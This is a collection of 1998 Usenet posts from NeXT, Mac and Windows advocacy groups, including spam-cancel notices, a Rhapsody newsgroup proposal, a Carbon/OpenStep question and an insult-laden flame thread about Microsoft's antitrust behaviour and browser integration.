Subject: cmsg cancel <112294431319.9738463998@whoodoo.net>
Control: cancel <112294431319.9738463998@whoodoo.net>
Date: 31 May 1998 16:18:05 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.112294431319.9738463998@whoodoo.net>
Sender: info@whoodoo.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
Subject: Newsgroups please!!!!
Message-ID: <yefc1.906$ON2.7050352@news.rdc1.nj.home.com>
Date: Sun, 31 May 1998 16:06:54 GMT
NNTP-Posting-Date: Sun, 31 May 1998 09:06:54 PDT
Organization: @Home Network
I think somehow we should get some newsgroups that unify
rhapsody folks.
comp.sys.apple.rhapsody.help
comp.sys.apple.rhaposdy.advocacy
comp.sys.apple.rhapsody.macos
comp.sys.apple.rhapsody.programmer
comp.sys.apple.rhapsody.misc
comp.sys.apple.rhapsody.webobjects
Please usenet, or whomever makes these decisions.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 31 May 1998 17:54:18 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <357b94a9.86988777@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <357293dc.4428018@news.supernews.com> <6kks1h$pfh$1@nnrp1.dejanews.com>
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dpetticord@hotmail.com, on Thu, 28 May 1998 23:29:54 GMT,
>In article <357293dc.4428018@news.supernews.com>,
> mdevlin@eltrax.com (T. Max Devlin) wrote:
>>
>> dpetticord@hotmail.com, on Sun, 24 May 1998 16:49:07 GMT,
>> >I am encouraged that you were open-minded enough to concede the possible
>> >usefullness of the Windows98 integration. These anti-trust arguments are
>> >multi-layered. Close minded fanatics on both sides, risk missing seeing
>> >this.
>> >
>>
>> But what do I do when I know that it is not a simple Win98 issue, Dave?
>> What the hell is my legal recourse, you son-of-a-bitch, insisting that
>> Microsoft has it's due...
>>
>> Microsoft has silently, though not obtrusively, marginalized the office
>> apps market, attacked the browser market, and made advances on the
>> groupware market, all by leveraging the power of their OS monopoly.
>> Shit, you've watched this case and studied the facts and been
>> straight-and-narrow more than anyone one Usenet....
>>
>
>Thank You for the compliment.
>
>> It's time to prove you know what you're talking about, David Petticord.
>> I've always maintained that if you can't see both sides of an argument,
>> you have no right arguing one. So tell me, Dave...
>>
>> How do we recognize that the "Windows Experience" has simply capitalized
>> on the advances of technology contributed by millions to the benefit of
>> hundreds and, increasingly, the detriment (in lack of competitive
>> products to choose from) of millions; how do we recognize this is wrong?
>>
>> ?
>
>Max, you are getting to know me too well. If you assumed I could not resist
>the "take the other side of the issue" challenge, you were right.
>
>Like I said, I see this as a close call. I would argue against Microsoft's
>position in two ways. First, question whether or not the "Windows Experience"
>crosses the threshhold of significance. You can always find a positive to any
>action. "But Judge, reducing the worlds population by one is a good thing."
>
>The Second argument would be to differentiate between "reason" and "symptom".
>Is the "Windows Experience" simply the feeling a user gets when he/she has
>no choice. "Sit back and we will do EVERYTHING for you". Just because users
>LIKE something does not mean it is not HARMING them.
>
>How is that?
>
Nailed it on the first try, as far as I'm concerned. In terms of sanity
checks, you pass with flying colors. In terms of helpful opinion, I'm a
little disappointed. ;-(
Has it occurred to you that it would be incredibly difficult to discern,
if even to argue, either of these arguments under normal circumstances.
In today's disfunctional market, the vast majority of users are simply
convinced that because they can use their computer and it has Microsoft
on it, Microsoft is the reason they can use their computers.
Don't you think it would be rather impossible to "prove" the low
significance OR the harm of "the Windows Experience"? The fact that
there is, there indeed must be, a grain of truth in the concept of "the
Windows Experience" (computers really _are_ easier to use when you don't
have a choice and everybody uses the same thing, and it is impossible to
quantify the benefits of commonality against a lack of innovation or
functionality, as these are trying to prove a negative) means that this
approach is doomed to failure.
So no, I think these two arguments, while valid, are worthless (not
"essentially meaningless", just "entirely worthless" ;-}), and so the
only approach I see getting anywhere with Microsoft is an absolutist
one: having the apps and the OS developed by a single company
(specifically a company that does not also have to make the hardware) is
not a tolerable market condition.
It looks like the only worthwhile approach is a historical one. Just as
AT&T was split into LD and RBOCs, Microsoft must be split into OS and
apps developers.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 31 May 1998 17:54:05 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35768319.82491925@news.supernews.com>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k8dee$a9h$1@nargun.cc.uq.edu.au> <35719045.3508921@news.supernews.com> <6kkgac$e0l$13@gte2.gte.net>
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rfelts@. (Roger), on Thu, 28 May 1998 20:15:12 GMT,
>mdevlin@eltrax.com (T. Max Devlin) wrote:
>>"Christopher Smith" <drsmithy@usa.net>, on Sun, 24 May 1998 16:11:27
>
>>>[...]They can set Netscape to the default browser, but they cannot change the
>>>default startup procedure - I would consider this a valid "condition" no
>>>matter *what* the OS was.
>
>>Obviously, you don't know jack-shit about operating systems and default
>>startup procedures.
>
>What of his statement above is incorrect? Or are you just taking
>another opportunity to engage in gratuitous personal attacks?
HA! I got Chris Smith and Roger tag-teaming me. Why would have need
for gratuitous personal attacks? Simple observations on your combined
lack of the equivalent mental processing ability of my cat are
sufficient. ;-)
If you can give me any concise description of what specifically the
statement "They can set Netscape to the default browser, but they cannot
change the default startup procedure - I would consider this a valid
"condition" no matter *what* the OS was" then I'll be happy to point out
exactly which parts are incorrect. My approximation would be "they can
install Netscape, and associate it with .htm, but they cannot add the
Netscape icon to the desktop." If this is accurate, then the idea that
his is a somehow OS-independant description of software relationships
should be self-evident. The idea that it would somehow be "valid" for
_any_ operating system simply characterizes the thinking of a Microsoft
apologist.
[a random "according to the contract, that is correct" response to an
unrelated argument]
>Glad to see you finally acknowledging this.
Never claimed otherwise, you pathetic trolling moron.
>
>>I wonder how many OEMs
>>would agree with your charity concerning Microsoft's tactics,
>>considering several of them were putatively threatened with losing their
>>Windows licenses if they included, displayed, removed, or modified
>>certain icons, et al.
>
>And what evidence to you offer to support your contention that
>"several of them were threatened?"
>
>>Yes, theoretically a vendor might include a startup program which
>>partially (not totally, because MS does not publish their code) will
>>disable Microsoft crapolla, then erase itself. But why?
>
>I agree -- why would they need to publish their code for a program to
>be written? I could write a batch file to do the kinds of things that
>have been discussed here.
Beyond general and generally useless statements like that one, and
constant (and mostly inappropriate) calls for citations and evidence
meant to distract and annoy rather than investigate and discuss, what
the hell purpose do you believe you are serving here on Usenet, Roger?
I have to admit, I would _love_ to waste *way* more time than I can
afford just responding to your ludicrous lack of rational thought and
logical thinking, your trollish and repetitive behavior designed solely
to annoy, and your absolute lack of purposeful statements and arguments
aside from your constant Microsoft apologists defensiveness, embodied
primarily by the kind of verbal diarrhea you have provided here.
Unfortunately, I'll have to make do with an occasional foray into
Microsoftee baiting such as this response.
Have a good day.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 31 May 1998 17:54:07 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3577870d.83503862@news.supernews.com>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com> <6kkgab$e0l$12@gte2.gte.net>
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rfelts@. (Roger), on Thu, 28 May 1998 20:15:12 GMT,
>On Wed, 27 May 1998 04:00:09 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>Good point. But doesn't pre-installation of Netscape (and specific
>>replacement of IE) bring down the wrath of Microsoft?
>
>No. Cases in point, Sony and Gateway.
Yes. Cases in point, Sony and Gateway. The market leverage evidenced
by such defensive agreements, locking OEMs into contracts with Microsoft
at a decidedly inappropriate time should raise the hackles of anyone who
believes that corporations should not be allowed to disregard anti-trust
laws.
[...]
>>It is impractical, therefore infeasible, therefore ludicrous, to expect
>>a vendor to differentiate the first login from the last...
>
>No, it's quite easy. All it would take is a batch file in the startup
>group which deletes itself as its last act (or delete itself and then
>restart the system.)
You don't actually try to sell and support computers for a living, do
you Roger? "All it would take" and "easy" are the way people who don't
program typically think programming works.
>>Says Microsoft? What exactly does the gov't ask for? I hardly think it
>>is as general as "Microsoft give up its right to display the Windows
>>user interface when consumers turn on a new PC running Windows for the
>>first time."
>
>If the OEM is allowed to arbitrarily change the state of the desktop,
>there is nothing in the standard OEM contract to prohibit them from
>installing any other shell.
And that's a bad thing? I mean, for anyone but Microsoft? Why should I
care? If Microsoft is trying to compete in an industry where arbitrary
changes are not only possible but encouraged (innovations don't come
about if you can't change anything), why should they care? It couldn't
be because Microsoft's overwhelming market dominance is based purely on
marketing, and has absolutely nothing to do with their code, would it?
Microsoft actually has the gall to complain because a computer
manufacturer wants _their_ name associated with _their_ products over
and above Microsoft? And this is OK, because Microsoft needs that kind
of leverage to stay in control of the market? What the hell is the
_logic_ here?
>
>Note that I do not think that this would be a bad thing.
>
>Also note that Gateway, with the Blessing of Bill <g>, will be doing
>this on their new boxes.
These last two statements, taken together, are what cause me to think of
you as a "Microsoft apologist". If you don't think OEMs installing
other shells is a bad thing, then how can you think Windows is a
functional operating system, considering you can't do that? The
arraignment with Gateway has nothing to do with alternate shells....
No, wait! You can't actually be trying to use the word "shell" in place
of "web browser", can you? Sorry, Roger, unilateral changes of
nomenclature don't really have a part in the science of computing.
Think up a real argument, take another number, and get in the back of
the line. We'll call you when we're ready.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 31 May 1998 17:54:12 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35798ddf.85250658@news.supernews.com>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <chrisj-1905981341480001@usr2a12.bratt.sover.net> <6jtgif$vp6$8@ligarius.ultra.net> <35cfaa27.360314511@news.supernews.com> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net>
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rfelts@. (Roger), on Thu, 28 May 1998 20:28:52 GMT,
>On Wed, 27 May 1998 05:18:50 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>No, I just told you (accurately) that the only reason your earlier
>>description of success in launching a browser from the app you developed
>>was because Microsoft provided both the OS and the browser.
>
>Please read for comprehension this time. John was not discussing
>launching a browser from his app.
>
>He was discussing calling the functionality of the OS to render the
>HTML right there in his app. No separate launch. User may not even
>know they're looking at John's HTML.
>
>Understand?
Would this be where the technical discussion is, Roger? Would this be
where it is appropriate for me to point out that your assumption that
the term 'calling the functionality of the OS to render the HTML' and
'launching a browser' are somehow technically distinct is erroneous. Or
should we point out at that Microsoft is currently arguing that users
_have_ to be able to know they are looking at _Microsoft's_ software,
but that John is supposed to love the idea that users don't know they
are looking at John's HTML?
Or how about we get back to discussing discussions again, and how you
don't like to play fair in them, Roger. In fact, I was saying that
John's ability to integrate HTML rendering in his application may be
considered a real cool feature by some people with limited experience,
the fact that this is only possible when using Microsoft's operating
system and Microsoft's development tools puts the lie to any contention
that this is an advancement in computing technology. If you want to
impress real technologists, you'll have to be able to do that on a
different OS, or with a different development tool, or it is just a cute
feature, not a useful function that developers can use.
>
>>Now, had
>>your OS _or_ your browser been available from separate vendors, you
>>couldn't have "integrated" web browsing so easily, as Microsoft doesn't
>>actually _support_ competition on its operating system for its
>>applications, or for its applications on its operating system.
>
>Yes, he could have, because what he is using is * not * the browser.
>It's the rendering .DLLs the OS provides.
And the difference from the browser would be.... what?
>
>Which functionality is modular, and could be replaced with another
>.DLL which exposes the same interfaces. Which interfaces are publicly
>documented.
Yes, but how to connect the exposed and document interfaces of the .DLL
to the exposed and less-documented interfaces of the OS is not something
that you can submit for competitive provision, since Microsoft designed
the whole damn thing for Microsoft's use. If they were at all
interested in having someone else able to replace their DLL, why did
they handle the "development" as they did, ignoring all sane idea of
interoperability and genuine innovation?
>
>>Did you parse that?
>
>Did you?
You just moved the argument from "a completely Microsoft solution
because of closed technology" to "a completely Microsoft solution
because of lack of open technology". If this DLL is supposed to be
standard access to HTML rendering, why does it include half of IE? If
this DLL is supposed to be provisionable by a third party, why wasn't it
available before IE was integrated into the OS? If this DLL is supposed
to be some sort of interoperable specification, why hasn't Microsoft
submitted it, or anything like it, or even descriptions of the interface
to it, to any standards body? And if the market is the ultimate
standards body, what competitive specification can provide this
previously-unheard-of capability? Maybe Java, a specification which
Microsoft seems to want to corrupt? Or possibly CORBA, which Microsoft
would prefer to completely ignore, other than claiming that COM or
whatever is better than a public standard because everybody uses Windows
anyway?
Forget it, Roger. You don't have a point.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 31 May 1998 17:54:14 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <357a9125.86089126@news.supernews.com>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357ba518.8840821@news.supernews.com> <6kkgqq$2h7$3@gte1.gte.net>
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rfelts@. (Roger), on Thu, 28 May 1998 20:32:22 GMT,
>On Wed, 27 May 1998 05:33:20 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>"John Saunders" <jws@jws.ultranet.com>, on Sat, 23 May 1998 12:25:46
>> [to T. Max Devlin]
>> [...]
>>>I think you must be losing the context of the thread.
[John's review of the discussion snipped 'til later]
>>Perhaps you'd like to document your contention that everything you have
>>just said is not a confusing pile of crap meant to hide the fact that
>>want to steer the discussion away from reality?
>I believe you mentioned that it was "one of those nights" for you.
>Might I suggest that you not read and post when you are in such a
>state. John clearly invited further discussion on the current topic
>and additional discussion on another.
>
>You seem to be acting fairly trollish yourself tonite, a state you
>decry in no uncertain terms in others...
I don't mind intelligent and entertaining trolling, actually. It's just
the shallow, pathetic, ignorant kind of trolling you do that annoys me.
;-)
Let's see just how much I might not have read, and how much you just
didn't understand...
[John Saunders, in same message]
>>I said that if Netscape wanted to be a "web browser library", then all
>>they'd have to do is implement the interfaces Microsoft documented.
>>
>>Then Darrin Johnson wrote that it was ingenuous in that the IWebBrowser
>>interface was already in IE 3.0 and was closely related to it, but that
>>Netscape was implemented differently and so would find it difficult to
>>implement an interface intended for IE.
Darrin Johnson said (or meant) _disingenuous_; for Microsoft to claim
that Netscape can "simply" redesign their entire browser because MS made
changes in the OS specifically to implement Microsoft's own browser is
_disingenuous_. It was done to prevent competition, not to provide a
functional interface. Your hand-waving of the programming and marketing
effort involved in Netscape maintaining their market as "the cost of
doing business on Microsoft's turf" is also disingenuous, and is why we
call you Microsoft apologists.
>>
>>Then Darrin said that this was another example of MS applications getting a
>>boost from the OS group.
>>
>>I then responded that I didn't know which applications he was referring to.
More disingenuousness. The only application under discussion is IE, but
John is now pretending that it is not an application because now it is
part of the OS.
>>Since we had been discussion IWebBrowser*, I asked if he meant the
>>applications which used those interfaces to render HTML. I indicated I
>>didn't think those were the ones he meant, since they presumably use the
>>same interfaces as everyone else.
Thus ignoring the entire point of Darrin's quite valid argument, and
maintaining that the issue does not exist. Your "presumption" that
other programmers will just have to change around how they do things,
but not to worry, because Microsoft's own app and OS developers won't be
changing things around again to work better for them until they figure
out how to make money on it, is disingenuous.
>>So, while I would be glad some day to discuss any proof you may have about
>>MS applications developers getting special help from the OS group, that's
>>not what we were discussing in this thread. Perhaps you'd like to start
>>another topic?
Yes, it was what _we_ were discussing. You are not _discussing_ it, so
much as _denying_ it, but that is beside the point. What topic _would_
you like to try to debate me on, John? Roger? Chris? Just give me one
single god-damn argument that you are willing to stick with and discuss,
instead of this endless regression, denials, and imaginary rules of
evidence inquiries?
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 31 May 1998 17:54:09 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35788a6a.84365222@news.supernews.com>
References: <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <35779ed6.7238238@news.supernews.com> <6kkg8n$2h7$1@gte1.gte.net>
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rfelts@. (Roger), on Thu, 28 May 1998 20:22:43 GMT,
>On Wed, 27 May 1998 05:10:09 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>"David McCabe" <david.mccabe@balliol.oxford.ac.uk>, on Sat, 23 May 1998
>
>>>>> I don't get it. Why would it be "much more difficult"? What would the
>>>>> problem be? Are you suggesting that Microsoft has left something
>>>>> undocumented, such that only "the developer of the OS" could successfully
>>>>> implement this feature?
>
>>>>Yes.
>
>>>Please substantiate your argument. Give examples, technical references,
>>>whatever. Please explain to me why, despite the integration level, Netscape
>>>can't simply implement the same documented interfaces and replace the
>>>pointers in the Registry.
>
>>Now Dave, here, he's a complete and utter fuck-head. The brains of an
>>idiot. "John Saunders" at least had the humility to appear like a
>>troll. You're just an "instigator", David. You have no point, you'll
>>just get your jollies feeling like you've accomplished something by
>>jumping in the middle of a discussion and asking for back-references.
>
>Have you anything technical to actually add to this discussion, or are
>you just venting your spleen again? This is the second message
>tonight that you have responded to a technical point, not with
>information to the contrary, but with bile.
I know, it comes in waves. ;-(
And I gotta admit, I may have went a little overboard here. But I am
just so sick of you people stopping up every useful discussion of the
issues with "please cite chapter and verse, or right your own
multi-million dollar software system to prove your case", and then you
go and accuse me of not adding anything technical. I got more technical
points in the snot from my nose than you got in your whole snot-filled
head, Rog.
When engaging in rational discourse, one can anticipate having to
provide evidence to support extraordinary claims. If I were to say that
Microsoft actually uses eighteen year old code for file sharing in NT,
for instance, or you were to say that the programmers of Office have no
more access to technical information about the operating system then
MSDN.
On the other hand, when the claim is not extraordinary, such as if I
were to suggest that Microsoft application programmers have access to
information and interaction with the operating system much greater than
available to most app developers, or if you were to say that Microsoft
was the first operating system to use a Registry (or any other technical
point, which I don't recall you ever even remotely approximating, your
messages generally being devoid of technical content aside from legal
technicalities), then it is commonly assumed that a response of "prove
it" is simply a lack of any response at all. If I have to prove to you
that Microsoft has ever acted unethically every time we discuss their
newest unethical behavior, I cease to have any need to discuss anything
with you, though you may still provide entertainment as a flame target.
>
>Did someone run over your dog?
>
>>Or maybe you're just a Department of Justice lawyer looking for ideas.
>>If you needed help, Dave, you could have just asked. I'll be happy to
>>provide some consulting and investigation to "substantiate your
>>argument. Give examples, technical references, whatever. Please explain
>>to me why, despite the integration level, Netscape can't simply
>>implement the same documented interfaces and replace the pointers in the
>>Registry". For a fee.
>
>Okay, lets agree on a figure. But when you can't, you agree to pay me
>a like amount, 'kay?
Sure. How about $100,000? All I have to do is provide a documented
example of Microsoft app developers having greater access to OS
developments, or explain why Netscape couldn't revise their entire code
base to account for Microsoft's brand-new/designed-for-IE interfaces and
still remain competitively profitable? Are you sure you know what
you're getting in to here, Roger?
If I accept this engagement, will you give me your real email address?
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <339029901601.7391432181@whoodoo.net>
Control: cancel <339029901601.7391432181@whoodoo.net>
Date: 31 May 1998 18:20:19 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.339029901601.7391432181@whoodoo.net>
Sender: info@whoodoo.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Mon, 1 Jun 1998 04:29:15 +1000
Organization: University of Queensland
Message-ID: <6ks78t$uq2$1@bunyip.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net> <6kn19b$n3u$1@bunyip.cc.uq.edu.au> <gmgraves-3005981259430001@sf-usr1-3-131.dialup.slip.net> <6kqul1$hm0$1@bunyip.cc.uq.edu.au> <joe.ragosta-3105980901070001@elk52.dol.net> <6krloo$au9$1@bunyip.cc.uq.edu.au> <arman.afagh-3105981203360001@mcrubs1102.med.nyu.edu>
Arman Afagh wrote in message ...
>In article <6krloo$au9$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>>Joe Ragosta wrote in message ...
>>>In article <6kqul1$hm0$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
>>><drsmithy@usa.net> wrote:
>>>
>>>>
>>>> I never said it doesn't get hot, not once. But it doesn't get so hot
>>that a
>>>> simple heatsink and fan arrangement won't cool it. Oh btw, a pII/400
>>>> dissipates about 28W.
>>>
>>>Which happens to be just about 4 times the heat of a G3/300.
>>
>>And pretty much irrelevant in a desktop system.
>
>Shall we talk about the notebooks/Powerbooks then?
You could if you want, but it wouldn't be relevant.since we were talking
about overclocking, and AFAIK no notebook made by anyone will let you
overclock it.
>
>ARman.
>
>--
>Arman Afagh NYU School of Medicine - Class of 1999
>arman.afagh@med.nyu.edu http://endeavor.med.nyu.edu/~afagha01
>
>Friends don't let friends buy Windows.
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: It would be nice to o
Date: Sat, 30 May 98 00:25:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8F01019.09B6000194.uuout@relaynet.org>
On 05/29/98, JOHN JENSEN wrote:
JJ> I'll give you Linux. Apple does a good job with
JJ> mklinux support and Linux/ppc is now on G3. But I
JJ> don't think emulated OSes are in the same category.
This week's PCWeek reviewed a G3/266 (not even the fastest vailable G3) with
64 megs RAM (now selling for +/- $1,800) running Windows95 under VirtualPC 2.
0.
VPC ran Windows95 at the speed of a 75MHz Pentium, emulating a P2 with Matrox
and SoundBlaster cards. Thus, most typical PC productivity software runs at
acceptable speeds under emulation.
Given that 400MHz G3s (and more) are a only few months away, it's safe to say
that quite acceptable emulation -- in terms of speed and compatability for
most programs and most OSes -- are well within reach.
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
Origin: --> Don't anthropomorphize computers. They hate that.
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Newsgroups please!!!!
Date: 31 May 1998 18:34:17 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd8cc2$94d0d520$04387880@test1>
References: <yefc1.906$ON2.7050352@news.rdc1.nj.home.com>
Chris Van Buskirk <cvbuskirk@home.com> wrote
> I think somehow we should get some newsgroups that unify
> rhapsody folks.
>
> comp.sys.apple.rhapsody.help
> comp.sys.apple.rhaposdy.advocacy
[munch]
But the "Rhapsody" name is going away soon. Main release this fall,
then to be subsumed by MacOS X. How about comp.sys.macx.* to
differentiate it from comp.sys.mac.*? But what happens when MacOS 11
is released?
I agree that the *.next.* groups should be retired. I just don't
know what the proper replacement should be.
Todd
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Mixing Carbon and OpenStep calls??
Date: 31 May 1998 18:42:54 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd8cc3$c8ccfab0$04387880@test1>
I seem to recall hearing/reading that applications can use both
Carbon and OpenStep APIs.
Questions:
o Is this correct? (if not, ignore the rest)
o Since an application can use both "carbon" and "yellow" system
calls, should the "box" architecture description go away?
o Can this be used as a bridge to get MacOS developers to use
OpenStep? (That is, new additions or enhancements to existing
Carbonized applications could be done in OpenStep; thus allowing
MacOS developers to leverage the power of OpenStep while preserving
their existing work.)
Todd
Date: Sat, 30 May 1998 01:35:40 -0500
From: anewmanagn@ideasign.com (Allen Newman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <anewmanagn-3005980135400001@a4p24.ideasign.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6ki1sh$qcr$1@newsfep3.sprintmail.com>
Organization: The Milky Way Galaxy
Distribution: World
In article <6ki1sh$qcr$1@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
>Not that cheap, $100, and you still have to put it in. If you dont want your
>warranty voided thats another $100 to have a apple specialized whatever put
>it in.
FUD ALERT! Mac users are free to install internal hardware as they wish
without voiding the warranty. All recent Mac enclosures are designed to
open very easily. The only user modification not permitted under warranty
(besides messing with soldered components or other abuse, of course) is
overclocking -- the jumpers are sealed with a tamper-resistant sticker.
I'm a salesperson at an all-Mac Apple Authorized Reseller and Service
Provider.
